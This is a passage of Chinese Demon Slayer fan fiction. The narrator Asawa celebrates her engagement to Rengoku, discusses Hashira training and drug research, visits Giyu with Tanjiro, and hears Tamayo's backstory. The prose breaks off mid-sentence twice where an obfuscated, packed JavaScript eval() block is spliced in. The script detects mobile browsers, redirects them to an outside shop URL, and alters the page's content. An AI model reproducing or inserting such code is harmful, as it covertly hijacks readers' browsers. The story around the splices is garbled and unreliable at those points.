特别邀请前来见证的明治神宫的神官严肃地看着我们,询问我们是否有了坚决的信念将要结为夫妻。在得到我们肯定的回答后才向我们露出欣慰的笑来。 “那么,在缘结神的见证下,两位就此缔结婚约。” 杏寿郎紧紧牵着我的手。 言语从来都带有力量,在灿烂盛阳之下,沐浴着温暖的光辉,在众人的注视之中,得到亲友衷心的祝福,有栖川朝和和炼狱杏寿郎这两个名字因此缔结正式的联系,被永恒地绑定在一起,勾缠出无尽的未来。诚如我自己一直以为坚信的那样,未来究竟会面对什么虽然无从得知,但只要杏寿郎在我身边、只要我们在一起,无论是怎样的艰难险阻,我都不会害怕。而我们也会永远牵紧彼此的手。 遵照古礼送来的订婚礼物中含有清酒、鲷鱼、墨鱼干等物品,这是传统文化中意味着吉祥如意的东西。送走其他客人后,外祖父吩咐佣人将之分为数份,送予关系亲近的亲友与他们共享这份幸福。又将剩下的清酒拿给我们,让我们在与鬼杀队成员的聚会上一同享用。虽然大家平日都不会饮酒,但想到今天是个应该庆祝的日子,最终没有推辞。 我和杏寿郎到的时候大家已经都在了,正三三两两地聚在一块儿闲聊。 鬼杀队的大家不是亲人,却胜似亲人,是在危急时刻可以交托信命互相信任的毫无血缘的亲人。大家聚在一起,且真心实意为我们感到快乐与幸福。看着我和杏寿郎一同走进,大家异口同声地向我们祝福道:“订婚快乐!” 我们分开接待他们。 在上次柱合会议时,由岩柱大人主持并提出了针对鬼杀队其他成员的训练计划,意在想让大家都能提升能力,也帮助柱寻找觉醒斑纹的感受。那天的会议开到很晚,回来时杏寿郎一副若有所思的样子。询问之后才知道要由各位柱各自负责一项训练项目,包含了音柱、风柱、蛇柱、恋柱、霞柱和岩柱六个人,涵盖了体能、速度、韧性、刀法、力量和耐力六个方面。可谓是全方位的训练计划。 “啊……六个?咦?”我歪过头盯着他看,“那你呢?还有忍和义勇先生呢?” 杏寿郎摸着下巴自得地哼笑道:“我嘛,针对他们的积极性进行特训吧,良好的心态也是一个剑士的必需品。至于胡蝶,她有研究工作。” 我还想追问义勇先生,在记忆里每次见到义勇先生总有些难言的尴尬,但万幸他是个粗神经,对此少有感受,所以总能相处愉快(大概?)。 但杏寿郎忽然一正神情,笑容收敛,目光灼灼地看着我,“朝和。”好像是他第一次这么认真地与我对视,“我有话和你说。” 我走到忍的身边,她正和蜜璃品尝着店里提供的点心,两人聚在一起小声交谈着什么,在看到我走近后转身向我露出快乐的笑容。 “恭喜你,朝和酱!”蜜璃扑向我,献出一个大大的拥抱,我便用力回抱她并向她道谢。之后我又学着蜜璃的样子伸开双臂向忍张开一个拥抱,感受着她不太熟稔的回抱的动作。以这样的行为作为寒暄的开始,我们自然地交谈起今天的订婚仪式,蜜璃一边流露出对于订婚与婚姻的向往,一边脸上爬满红晕。忍似乎了悟地点点头,我却没明白,只问蜜璃是否有了心仪的对象。 梳着三个辫子、发色清新的少女尖叫了声,捂住脸,羞恼地叫着我的名字,一副害羞到不能说话的样子。我奇怪地看向忍,忍却笑着一言不发,对上我的视线则将目光投向其他几位正聚在一起和杏寿郎说话的柱大人那边,有蛇柱大人、音柱大人和霞柱大人…… 啊!我脑海中灵光一闪,不可思议地开口:“难道是……” 蜜璃立刻再次扑上来想要捂住我的嘴,我躲避不开,只能屈服在少女的怪力之下,向她不断眨眼示意自己会老老实实。 但来自正聊天的几位柱的方向,那视线并不能被忽略。 是蛇柱大人,正目不转睛地看着我们。 最后是忍出声替我打了圆场,劝说蜜璃饶过了我。 我问起鬼杀队成员训练的筹备进行得如何了。虽说订婚仪式并不需要我准备什么,但也有不少事务需要我参与,即使我有心想要关注鬼杀队的队内事务,也还是被各式各样零零碎碎的琐事缠得脱不开身。直到现在订婚完成,才算是真的空了下来,能分出精力关心训练的内容,看看有没有什么有栖川家能帮得上忙的地方。 蜜璃大概和我说了情况。虽然鬼杀队的正式成员并不多,但是即使全员参与训练计划,考虑到时间有限,也得有针对性地分出队伍,因此决定以音柱的体能训练作为第一步。全员参加体能特训,达标后分批加入其他五位柱的训练项目,完成一项内容便进入下一个项目,几位柱之间交替进行,争取达到效率最大化。 “听着就很辛苦啊!”我思考着,“需不需要为大家提供伙食支持呢?训练之后吃一顿健康美味的餐食也很重要吧?” 蜜璃使劲点头。 “让我想一想可行性,”我说着,又向忍问道:“忍的研究进展还顺利吗?有什么需要我帮助的话,一定要和我说!我已经让桥下先生整理全部的研究成果了,等整理完成后我会送到蝶屋,有栖川家这边一定会完全配合你的!” 有栖川家名下的药物研究室一直以来做着针对性的药物开发,特效药已经正式投入使用,来世的开发也已经到达稳定阶段,开始尝试批量生产。虽然限制于原材料,规模上并不能真正扩大,但至少足够应用于鬼杀队的核心战力。在忍擅长的毒药的作战上或许很难提供帮助,但在忍的另一个研究方向上——让鬼变回人类——应该能有不错的数据支持。 忍垂下眼睛,一时没有应答。 因为藏有秘密而变得难言的气氛似乎得到蔓延,她雾紫色的眼瞳竟然颤抖着,唇瓣轻抿,无法直言不讳的纠结已经写满脸上。 “小忍……” 就连蜜璃也看出她的不对劲,下意识轻声叫她。但她很快想起什么,话语湮没在紧随其后的沉默里。 “怎么了吗?”我关心道。 忍立刻摇摇头,她控制住自己的情绪,却用另一种急迫向我言明自己的诚恳:“抱歉!朝和!” 突如其来的道歉让我大吃一惊,一时之间不知道该做出什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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杏寿郎抱住我,用身躯为我挡去冷意。他告诉我全部,包括来世在他身体中产生的效用,已经保持着斑纹状态时体内不同能量的对撞。但这到底只是他自己的感受,在刀匠村后忍给无一郎与蜜璃也注射了来世,不知道他们有没有相同的感觉。而且……无一郎与蜜璃在刀匠村所受的伤与杏寿郎那次是绝不一样的程度,如果来世只在人的濒危时刻才能完美发挥效用,那无一郎他们的注射会不会失败? 这其中实在有太多东西需要探讨和研究,各种思路汇聚在我脑海,让我的大脑高速运转起来,思考着不同的研究方向。我来不及和杏寿郎生气,直到他诚恳地向我道歉没能第一时间告诉我这件事,我才恼怒地将手握拳捶打他的胸口,愤愤地要他保证以后再也不准这样。 他顺从地点点头,再一次抱住我。 这样子的杏寿郎……就像黏人的大狗狗,无比眷恋地依赖着我,不能接受我的冷落和忽视。我笑着伸手抚摸他的后背,向他保证:“杏寿郎,我绝对、绝对不会让你死的。” 总之向忍和蜜璃再三保证杏寿郎已经和我坦诚了一切,没有刻意隐瞒着真相和我订婚——那也太不是人了吧!用蜜璃的话来说就是杏寿郎才不是这样的人——面前这两个因为无法对我言明真相而失落的女孩子才收起了难过的情绪,慢慢放下心来。我和她们又交流了一会儿桥下先生这段时间对杏寿郎做的身体检查,至少在杏寿郎的身体上能够看出,斑纹觉醒状态下,身体机能被高速消耗的同时,来世的药效并没有压制呼吸法,却独立运行着快速修复身体内部产生的损伤。从各种指标的化验数据中得出这一结论时,我们都感到一阵不可思议的心惊。既为来世药效的长久,也为它反复具有生命的活性。 但因为只对杏寿郎做了检查,我们不希望毫无根据的消息为大家带去多余的惊喜,因此暂且没有告知大家。但鬼杀队的特别训练即将开始,柱们势必要寻找自己开始斑纹的方法,那么可以进行研究的样本也会增多。将全部数据与蝶屋共享并且保持相同步调的研究显然才是当下的最佳路线。 “如果明天有空,还得麻烦蜜璃和无一郎一起去一趟研究室那边做个身体检查,看看来世的药效对于非致命伤是不是有着相同的活性。”我思考着看向蜜璃向她提出请求,“还有就是来世究竟能不能二次注射,会不会效用减少,这也是一个需要研究的内容。因为目前没有注射过两次来世的人……” 一说起来就发现有好多好多事要做!我在英国时怎么就没专心学习医学?轻叹了声,我将目光转向忍:“只能全部交给忍啦!有什么需要一定要和我说!” 忍微微笑着,承诺:“放心吧。” 61. 解开心结 订婚后,踏入新阶段的生活并没有什么巨大的改变。 只是因为柱训练已经正式进入紧张忙碌的训练阶段,慢慢地有队员被交到杏寿郎手上。杏寿郎负责的训练在整个训练流程中处于较为中间的时段,内容也不是侧重技艺或武力的培养,而是负责调整参加训练的队员们因为疲惫或受挫而饱受困苦的心。如果能把他火炎一样乐天的性格教给大家,那么对于队员们来说也应该是很好的一件事。 从前每天早上由杏寿郎来接了我后再一起去往鬼杀队的情况因为训练时间的不定性不能再延续。因此最近我的行程都是起床后自己前去鬼杀队本部。 我也没有选择一整天都跟着杏寿郎,而是出没在不同的朋友那里。 柱训练的第一关是基础体能,由宇髓先生负责。 体能训练过于基础且必需,我便常去宇髄家,顺便贡献一些微薄之力。雏鹤、槙於、须磨她们负责体能训练的后勤,为大家准备一日三餐。在宇髓先生的魔鬼训练中,每个队员每天所接受的训练量都极大,青年男子的胃口本就不小,更何况这么多饱受训练的青年男子……有栖川家也参与了这次训练,太专业的事帮不上什么忙,便支持了基础的物资供给和医疗需求。而雏鹤她们,虽然身为忍者而体能优秀,但每天都要为这么多人准备三餐和餐具清洗,无疑是一项巨大工程。我还特意为她们带了消解疲劳的高级绿茶,每天劳作后喝上一杯香气四溢的热茶,静静享受深夜的安宁。 宇髓先生在花街之后原本想要引退。他为鬼杀队、为杀鬼的事业已经付出了太多太多,在花街一战后更是负伤致残,左眼无法视物,左手的手腕也受到损伤——虽然没有在形体上受损,但筋脉的伤无疑影响到持刀的可续性——天元先生毕竟使用的是双刀剑术,且他的日轮刀沉重而宽阔,对于使用者的力量与双手的精密性有着极高的要求。 但鬼杀队实在是走入了或许这百年来最艰难、紧急的时刻,天元先生最终暂缓了引退的计划,决定以柱的身份陪同鬼杀队一同度过这段黑暗的时期。 站在我个人的角度,对于柱们无私奉献、舍己为人的崇高原本就充满敬佩,而在与柱们有着深入的接触后,发现每一个柱其实都只是一个普普通通的人类,他们之所以伟大并非是自己天生有着旁人无法企及的天赋,更因为他们的心,他们绝不会滥用自己的天赋,更不会辜负自己的天赋。我深深地敬佩他们,也为他们的遭遇感到万分的惋惜,鬼杀队的所有成员,几乎都与鬼有着无法忽视的血海深仇。柱们所经历的一切,更是令人痛苦不已。 只要了解过这种苦难,哪怕只是其中之一,任何人都不可能坦然地替人类谅解鬼的恶行,也绝不可能认同鬼的所作所为。因为经历了生活的苦痛而沉沦黑暗,让自己成为鬼的拥趸的人,已经在黑暗的熏陶下变为伥鬼。我无法理解鬼,更不能理解与鬼为伍的人类。我只想终结鬼,用尽全部的方法。 在杏寿郎、蜜璃和无一郎三人关于来世能否在斑纹开启时发挥效用的研究被忍和桥下先生共同接手后,我还去观察了炭治郎和宇髓先生,希望能从他们身上得到些许启示。杏寿郎和宇髓先生对练后,经过检查发现他身上的症状并不明显,但也有着类似的迹象,可以算作同样的佐证;而炭治郎那边得出的结论则更明显,花街后初次注射来世、刀匠村后第二次注射,他体内来世的药效更凶猛一些,不过他的身体受损程度也远超每一个柱。三番两次地受到致命伤、再恢复,不管是谁经历这样的过程都会异常痛苦,唯独炭治郎坚强地忍耐下来,并且一次又一次磨砺着自己。他的□□强劲程度虽然还不能和柱彻底相提并论,但也已经到了一个非常恐怖的程度。 我把相关的发现记录下来,给珠世小姐送去,并且带上了新版的来世,希望能给她对于研究使鬼变成人的药物有更多的启发。 不过有段时间没去见珠世小姐了。订婚的时候倒是按着礼仪给她送去了邀请函,虽然知道她并不能前来参加,但无论如何希望同她分享这份喜悦,珠世小姐对于无法前来感到歉意,拜托茶茶丸给我送来了一枚精美的花簪作为贺礼,那枚花簪上镶嵌着许多红宝石,在阳光下熠熠生辉、美轮美奂。订婚结束后分发回礼时因为食物对于珠世小姐他们实在没有价值,我便没有准备,想着之后有空了带些别的前去拜访。 斑纹的事情发生后,我想,或许没有任何东西会比这些研究结果更让她开心了。 杏寿郎今天有些准备工作需要处理,从忍和桥下先生那里整理了研究内容后我原本打算直接去往珠世小姐那边,没想到在蝶屋的庭院里正巧遇到了炭治郎。他的左腿还没完全好,走路有些不方便,因此拄着一根拐杖。一副要出门的样子。 “炭治郎!”我叫住他,“这是要去哪里?训练吗?忍不是说过,你在身体彻底康复前不能参加训练!”这孩子真是的!明明最让人省心,却总让人担心! “啊!朝和小姐!”炭治郎看见我睁大眼睛露出欣喜的表情,“太好了!可以问你一个问题吗?” 咦? “发生什么事了吗?”我走近他身边,发现他提着一个靛青色的包裹,包裹上夹着一封信。淡淡的米饭香味从包裹里传了出来,绝不是因为我肚子饿了,而是这饭团仿佛刚新鲜出炉,热气都未散去。这……是干粮? “是这样的……”炭治郎垂下眼,声音也变得有些许低落,“我要去见一个人,他好像觉得自己很不重要,而我……”他组织的语言,“我想要告诉他,他并不是一个人,我们大家都会陪在他身旁!但是!这个人……他不是!非常的善于……”不会撒谎的孩子也不会找借口,不想暴露目的的心让他艰难地叙述着自己的问题,好似舌头牙齿会打架! 但我可是有栖川朝和,什么也别想逃过我的眼睛。 “你说的是义勇先生吧!” “诶?”炭治郎所有的话僵在舌尖,沉默半晌,拉长了音调惊呼:“诶——!” 哼哼,被我一语道破。“果然呢。”我没有隐瞒,而是告诉了他,杏寿郎口中的柱合会议当天。在我听说义勇先生不愿参加柱训练,并且差点因为闹矛盾而和风柱大人打起来之后,我就隐约意识到义勇先生似乎背负着什么不想与大家说起的过去。连杏寿郎都不是非常清楚。 了解了情况的炭治郎看着更苦恼了:“这样啊!” 说起来,我和义勇先生从前也有不少连系,虽然最终的走向都有些啼笑皆非,但这一切并不妨碍我认可他。我形容着自己的感受,试图帮助炭治郎寻找解决的方法:“在我看来,义勇先生是一个善良且钝感的人。” “钝感?”炭治郎不解地歪过头。 “就是……比如我对义勇先生开一个比较尖锐的玩笑,他会感觉不到我是在开玩笑。”举了一个通俗易懂的例子,但是炭治郎身上这会儿似乎也展露出了水呼一脉如出一辙的钝感,我只好无奈地扶额、更直白地说明:“义勇先生在有些方面很迟钝,所以你一定要对他直说!” 他有些犹豫:“不过,如果义勇先生想要一个人待着……” 真的是一个人待着吗?我对此很是怀疑。所有柱之中,能做到和每个人基本都融洽相处的恐怕就是杏寿郎了,但在他对义勇的看法中,比他的任何性格都让杏寿郎在意的是:他说话声音很轻,总让人难以听清。我想,义勇先生是一个不善于表达的人,但不善于表达并不代表着他没有表达的需求。人长时间不对话,语言能力就会退化,而心事不及时说出,就可能会化为遮蔽本心的阴霾。 义勇先生的心里有一片乌云,它遮天蔽日地存在着,仿佛永远不会消散。但世上从来没有什么永远。 我大力拍向炭治郎的肩膀,认真地鼓励他:“不!炭治郎你想啊,义勇先生独处那么久,还是没有好,说明独处对于他是没有效果的。你想要帮助他,就一定要帮他敞开心扉!要热情积极地和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613459|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他交流!”说着我都开始大声起来,就像杏寿郎每一次鼓舞时的语气。 而这时终于理解了的炭治郎立刻开心地点头,以高昂的情绪回应我的鼓舞:“我明白了!谢谢你朝和小姐!” 我点点头,顺便提出送炭治郎去义勇先生家。毕竟他腿还没好,一路走过去多少有些辛苦。 “会不会太麻烦您了?” “怎么会!”我拉着他一起下山,“正好车在下面等着我们。”而且我也有点想去看看义勇先生,不是为了凑热闹,而是真心希望能为他们做些什么。 作为水呼的富冈义勇居住在自己守卫区域内的一处古典日式宅邸中。院落的布局很规则,面积并不算大,青竹编制的围栏并不具备墙壁的防卫作用,而更像一道景观,能让人看清干净整洁的院落里布置着清雅的枯山水。但看起来这处宅子里只有义勇先生一个人居住。 炭治郎已经开始大声叫门。 好几声过去,回应的仍然只有四野的寂静。 就像里面不存在我们要寻找的人。 我本想跟炭治郎提议让鎹鸦飞进去看看,没想到热情不减的炭治郎在道明自己的身份后,直截了当、毫不犹豫地喊道:“您好!那我进来了!” 诶?这就进去了? 并没有上栓的门被炭治郎推开,我很是不解地跟着炭治郎走进。算了算了,反正他们是水呼的师兄弟……义勇先生要是生气——如果他真的会生气的话——反正有炭治郎挡着。 寂静得别说人居住的痕迹,就连一声鸟鸣都没有的院子里,只有我们的脚步声。炭治郎直奔正屋,从那个开着的门口整个探身进去,我看到里面正坐着的义勇先生脸上头一次露出那种瞪大了眼睛的震惊表情。 炭治郎啪嗒啪嗒地走进去,在义勇先生面前正坐。面前。真的是面前。他们两人几乎要膝盖碰着膝盖,已经完全打破了正常礼貌的社交距离,但炭治郎不知为何浑然未觉(又或者他知道只是没在意?),而是愉快地同柱合会议后就没再出现在鬼杀队过的义勇先生分享起关于柱训练的内容。我只好在他们边上坐下,正对着两人正中间,一边听着炭治郎说话,一边不断观察义勇先生的表情。 炭治郎说起自己的归队计划,并且提出希望得到义勇先生的训练。 被毫不犹豫地拒绝了。 而被拒绝的炭治郎一脸开朗地问道:“为什么呢?我闻到一丝愤怒的味道。您在生什么气呢?”他的语气里是真的全然不知! “我在为你没有将水之呼吸练到极致而生气。你必须成为水柱。”面无表情的义勇先生用毫无波澜的声音表达自己的愤怒。 嘶!我在心里倒吸一口凉气,这对师兄弟未免也太会聊天了吧! 不过之前确实又听说,炭治郎现在使用的并不是水之呼吸,而是名为“火之神神舞”——来源于他的父亲会在祭祀时跳动的神乐舞。 总之在义勇先生突然的指责加要求下,炭治郎还是挠着脸颊弱弱地解释了自己的情况。 你必须成为水柱?这句话说得未免……我正疑惑,就听见义勇先生面不改色地说道:“如今水柱之位空缺,必须尽快有人成为水柱。” 什么! 我和炭治郎同频地无法理解:水柱之位怎么会空缺?不是有义勇先生在吗? 照射不进光线的和室里阴暗昏沉,就像沉溺在水中,无法摆脱死亡的桎梏。我能感受到义勇先生的坦诚,他并不是因为有我在场而刻意隐瞒什么,他所说的一切皆出自本心。不知为何我仍然短暂地感到难以呼吸,不可置信地看着面前的男人。黑发的男人看着还和方才没有任何区别,但周围泛滥着的气氛已经到达凝滞的极点。无法用语言形容的淡淡哀意仿佛能够从义勇先生蔚蓝的眼睛中流淌出。 即使他的眼里并没有丝毫泪水的痕迹。 “我不是水柱。” 他拿着日轮刀站起来,“你们走吧。” 62. 隐秘 从义勇先生那里离开,我原本打算前往珠世小姐那里,但才走出那间古朴寂静的宅邸,就在门口遇到了正准备抬手敲门的杏寿郎。 “咦!事情已经办完了吗?” 杏寿郎点点头,牵过我的手,而他温热的皮肤贴住我的掌心时,自他身上传来的安心让我缓缓静下来。 “还好吗?”杏寿郎不经意地问起义勇先生的情况。我甩甩手,脑袋里重播起义勇先生平白直叙的那句“我不是水柱”,不知怎的,明明修行的是最能包容万物的水,我却本能地觉得富冈义勇应该是这个世界上最不会转弯的人了——他直直地向着墙壁走去,明知道自己会撞得头破血流,却还是没停下脚步——“不好!”我拉长了音调强调情况的糟糕,恐怕炭治郎要碰上一回壁了。 然而从我口中听说了事情经过的杏寿郎却笑着摇头:“既然是主公的选择,一定会有用的。灶门少年身上有种魔力,他能化解一切的执着。”杏寿郎搂过我的肩头,将我轻柔地按在自己怀中,“富冈有着自己的原因,他总有一天要把那把锁解开,或许就是今天。” 与选择变成鬼的理由千奇百怪一样,选择加入鬼杀队的人们也有着千千万万不同的道路,富冈义勇的路未必比别人走得更困难,却比很多人都要更沉默。当义勇先生睁着那双海水蓝的眼睛站在一边旁观着俗世的热闹时,内心究竟想着什么人、想着什么事呢?他会不会也有后悔万分的过去想要弥补,又或者是必须要在这个无法看清的未来证明。 杏寿郎止住话头,他对旁人的困难闭口不提,于是我不得而知。 天色逐渐昏暗,乘着雾蒙蒙的晦色,我们决定一同前去珠世小姐的住处。 与我坐在一处的炼狱杏寿郎正习惯性地捏着我的指腹,已经想不起来这究竟是他什么时候养成的习惯,但等我们——等我意识到的时候,已经伴随他的思考混入他的身体本能。毫无疑问,我在改变着他,他也同样在改变着我,我们把两人的生活融为一体,有一部分紧紧地缠裹在一起。 我有正当的立场猜测他是为了不让我一个人去往珠世小姐那里才急忙赶来的。心里这样想着,我也自然而然地问了出来。 杏寿郎是不畏惧战斗的勇士,对他而言杀鬼不需要做心理准备,他对于鬼始终抱有绝对的灭杀心理,和同样激进的风柱大人相比,杏寿郎的柔和只表现在脸上。但他并非只认死理而不正确看待现实,对于和我们并肩作战的祢豆子,他的想法也就随着一次又一次战斗逐渐改变,从怀疑转为接纳。不过对于珠世小姐,杏寿郎似乎总对她抱有警惕心理。即使有着炭治郎为她背书,且主公大人也知道对方的存在。可是第三方阵营这个概念总是存在认知误差,或许对很多人而言,只要明确“她是鬼”这一点就足够了。 我有想过他是不是担忧过度了呢?可是对于他的保护,我实在无法将拒绝宣之于口。 他闭着眼,只有一抹笑淡淡地显露在嘴角,为他的侧脸勾画出和煦的温度,杏寿郎没有直接承认或否认,只是说:“是因为我想陪着你。” 他又捏了捏我的手。 我反过手去捏他的掌心,贴着那些无数次挥刀才留下的薄茧,心中甜蜜的暖意蔓延。 好吧!他都这么说了! 珠世小姐的住宅依旧隐匿在寂静的黑夜之下。 穿梭过热闹的街头,与一张又一张生动的面孔擦肩而过,我们再一次穿过墙壁,进入这栋静到荒僻的宅院。 是愈史郎前来开的门。 他额角流着汗,神情有些焦虑,眼瞳缩紧,眉头更是紧锁,一副心事重重的样子。 我奇怪地向他询问缘由,却只得到了一声重重的冷哼。 珠世小姐温柔的声音从内室传来,“是朝和吗?请进来吧。” 与上一次见面时优雅得体宛如宫廷贵妇般的珠世小姐穿着罩衫,头发在脑后盘成一个光滑简单的发髻。她正在整理着什么,面前的书桌上摆满了纸质资料,甚至有一些看着就很年代久远,泛黄的纸张脆弱无比。 “您是在整理东西吗?”我走近了些观察,从纸张上隐约分辨出些许字迹,是关于鬼的研究。 “我正想叫你来,”珠世小姐没有回答我的问题,她擦了擦面颊上的汗水,烟雾般紫色的眼睛微微下垂, “今天你过来了就正好,不必再多跑一趟。” “发生什么事了吗?”我这才发现屋子里空得离奇,即使从前这座屋子里也并没有满满当当的装饰,但无论从珠世小姐还是愈史郎的生活习惯,对于生活都没有如此单调 墙壁上的画,茶几上的花瓶,从中国泊来的陶瓷工艺品,又或者西洋产的挂件,从前装点了房屋的那些东西现在全部消失无踪。 “我有一些事想要告诉你们,”珠世小姐淡淡地开口,“请坐吧。”她向我们指了指边上的座椅,“这会是一个很长的故事。” 愈史郎为我们端来茶,是之前我送来的一款英式茶,甜香的橙子味随着腾腾热气扩散在室内。我端起茶杯,与其说想要品尝茶水,不如说想要用那热茶的温度来安定自己混乱的大脑。甜蜜的味道伴随茶汤些许青涩的底味,暖融融的香味能够停下许多纷扰的滋生。屋外是东京都繁华之外难得的静默,夜色低垂,压下无数闪烁的繁星,据说千年前的星空与此时所见并无不同,人类的千年看似恒长,对于世界的永恒却不值一提。 那是一个同样无声的夜晚,在珠世小姐恍若梦呓的柔声下缓向我们展开。 她从前是一个人类。这是自然的,每一个鬼从前都是人类,生老病死、爱别离、怨憎会,平等地体会着人世间的诸般烦恼,谁也跳脱不出这个轮回。而命运无疑最爱在人经历各种极点时拨弄天平,转换人们拥有的砝码,以极乐或极悲的转折来增添这出人间戏剧的情节。拥有孩子之后,珠世小姐还没来得及享受一家美满的天伦之乐,身体就为她带来了一个噩耗。 那是在数百年前的当时完全无法治愈的绝症,医者不能自医,她自己也不知道是绝望更多还是可笑更多。 为了能够看着年幼的孩子长大,她竭尽所能地寻找着治疗手段,越是寻找,心底的阴翳就越是张开。终于有一天那黑暗把她所有的理智与自控都遮蔽,让她听信了恶魔的引诱,从人性的悬崖跌落。她没有粉身碎骨,因为死的另有其人。当本能终于散去,理智重回大脑,视线中模糊重聚无数次,聚焦中只有鲜红。到处都是飞溅的血。 而血泊之中,冰冷的丈夫依然保持着不可置信的神情,孩子……孩子呢?珠世已经忘记了如何呼吸,心跳却在那瞬间急促无比,大脑中思绪如同潮涌,翻滚着将白日推来,漏进室内的光线洒在珠世满是血渍的皮肤之上,灼痛感让她下意识尖叫出声,本能地躲避到一旁。手因疼痛而颤抖着,皮肉破开,鲜血淋漓,而她,从自己伤口之上看见摔落在地的…… 残损的希望的尸体。 那已经是很久之前的事,但只要想起,珠世依然记得清晰无比。它深刻地镌刻在她的记忆之中,与她的习性一起,成为一种刻骨铭心的痛苦。她的生命如此漫长,行走在世间看过数百年的繁华,但我知道,她的一切都停止在19岁的那一年,往后存在于世的都只是一个想要赎罪的幽灵。 “珠世小姐……”安慰的话太单薄,以至于我完全无法轻飘飘地说出。 捧着茶陷入沉默的珠世小姐垂眸看着自己手中的热茶,茶水上升腾的热气拢过她的双眼,那片迷蒙的紫色有些看不清了,只是无尽的落寞依然从其中漫出。不知过了多久,她才轻轻地笑了声。 她有过一段非常混乱的自甘堕落的时候,杀死丈夫和孩子的悔恨是深深的沼泽,将她完全束缚。但她没有忘记仇恨,仇恨的源头是那个男人,鬼无辻无惨。他把所有人类当作牲畜,是供他生存的食物,是为他所用的工具,是能为他调剂永恒生命的调味品。他蛊惑走投无路的人,给予他们希望,接着再推他们摔入绝境。珠世只比他们幸运一些,或许她的医生身份让鬼无辻无惨看到了些许希望,他期待着珠世能为他找到克服阳光的方法,因此把她带在身边。 珠世化为了蛇,在阴影中监视着鬼无辻无惨的弱点,并且同样期待着……期待太阳照射到他身上的那一天。 似乎大明神终于醒来,看见了这人间的乱象,看见了珠世的苦难,那一天真的到来了。 继国缘一。 只要念出那个名字,身体中来源于鬼无辻无惨的那部分血液就会疯狂地战栗,难以形容的恐惧让她几乎站不住。原来那个鬼王……那个目空一切目中无人的鬼王,原来他也会恐惧,原来他也如此的弱小。他害怕一个人类,胜过太阳。身受重伤的鬼舞辻无惨终于失去了平日里高高在上的姿态,他惊恐万分,除了绞尽脑汁想要逃跑,顾不上别的任何。珠世借着这个机会摆脱了他的掌控,她将自己所知的一切向继国缘一和盘托出。 而那个男人,放过了她。 这之后珠世一直寻找着让自己彻底脱离鬼王诅咒的方法,她用药物改造了身体,并极大降低身为鬼的本能,不再以人类的血肉为食,只需要一点血液就能生存下来。 但继国缘一没能杀死鬼舞辻无惨。 珠世终于看透,要想杀死他必须让他变回人类。她开始尝试研究这种功效的药物,并在期间治愈了重病却想要继续活下来的愈史郎,经过他的同意后把他变成和自己一样不用吃人的鬼。一直到了今天。 “继国缘一”——一个并不陌生的名字。槙寿郎叔叔曾经说起过,那是鬼杀队呼吸法的来源、呼吸法的创始人、日之呼吸的使用者。但他现在却出现在珠世小姐的故事中。我和杏寿郎对视一眼,我们当然都知道故事的结局,继国缘一没有成功斩杀鬼无辻无惨,但他的确成了他的噩梦,以至于在继国缘一生前,鬼无辻无惨都像一只老鼠长久地躲在阴暗的角落,颤抖着窥伺太阳的坠落。 “炭治郎。”珠世小姐从回忆中走出,“第一次见到他的时候我就想起了继国缘一。” 从槙寿郎叔叔的描述中,炭治郎所使用的“火之神神舞”应当就是传说中的日之呼吸。虽然没有更多的证据能够证明这一点,但火之神神舞面对鬼时的确有着独特的效力。 数百年前,继国缘一差一点就消灭了鬼无辻无惨。 数百年后,我们汇聚在一起,包括他的传承者,再次准备与鬼无辻无惨作战。 时间走得真快啊。 时间走得这么快,仿佛一切从未改变过。 “谢谢你,朝和。”珠世小姐放下茶杯,双手交叠在桌面,忽然说道,在她的身上你甚至看不出什么喜怒的起伏,那些东西如同没能在她身上留下痕迹的岁月一样,只是把她冲淡了。 “不……我才应该要感谢您!感谢您告诉我这些事。”我摇摇头,鬼杀队的历史并不完全清晰,记住它的人很少很少,留下的痕迹更是如此。我虽然有心记录,但人类所能记得的部分对比历史的真相太过短暂,能够从真正的亲历者口中得知一些来龙去脉,真是太好了! 珠世小姐没有说话。 沉默中徜徉着我们的灵魂,有那么一个瞬间我觉得自己触碰到了她心底深处仍然没有愈合的伤疤。可是我不知道这样是不是正确的。 她最终弯起嘴角:“不,朝和,你不明白。” “我曾经渴望着能够看着我的孩子长大,从蹒跚学步到翩翩少年,有一天他也会长到你这个年纪,或许他也会和你一样加入灭鬼的事业。可惜我没能看到……但……”她顿住话音,嗓音含着一声哽咽,牵扯着嘴角的笑意,让苦涩无所遁形。 “但是!我在你的身上也看到了我的孩子的影子……朝和,所以我得感谢你。我已经活得太久了,久到很多事情都变得模糊,久到这个世上已经不再有什么人能让我敞开心扉。而现在,能看到一次我的‘孩子''长大的样子,真的太好了!” 珠世小姐的眼睛恍若紫藤的海,无边无际,没有一丝杂质,纯澈无比。而我看到其中闪烁的光影,只是不等我真正看清,那滴泪已经消失。 “珠世小姐……”不知为何担忧忽然攀上我的心头,让我难以遏制悲伤的感受,喉口处平白生出一阵干渴,不甘地抓挠着其中。话音变得沉重。 但珠世小姐已经收拾好情绪。她又变回平时那位优雅端庄的医生,声音如同面上的表情一般无波无澜:“我刚才收到了产屋敷的信,他邀请我去鬼杀队研究让鬼变回人类的药物。” “什么!”我和杏寿郎都大吃一惊,“主公大人吗?” 鬼杀队有着千年来同鬼作战的记录和经验,对于鬼的研究绝不比珠世小姐少,更何况有忍在,蝶屋一直致力于研发针对鬼的毒药,还有有栖川家关于特效药的研究也是和鬼杀队合作展开的,如果能得到珠世小姐的加入,那么,毫无疑问,一定会事半功倍! 但是! 珠世小姐毕竟是鬼……而鬼杀队…… 珠世小姐怎么能去鬼杀队内……这……即使珠世小姐并不会伤害人类,可是…… 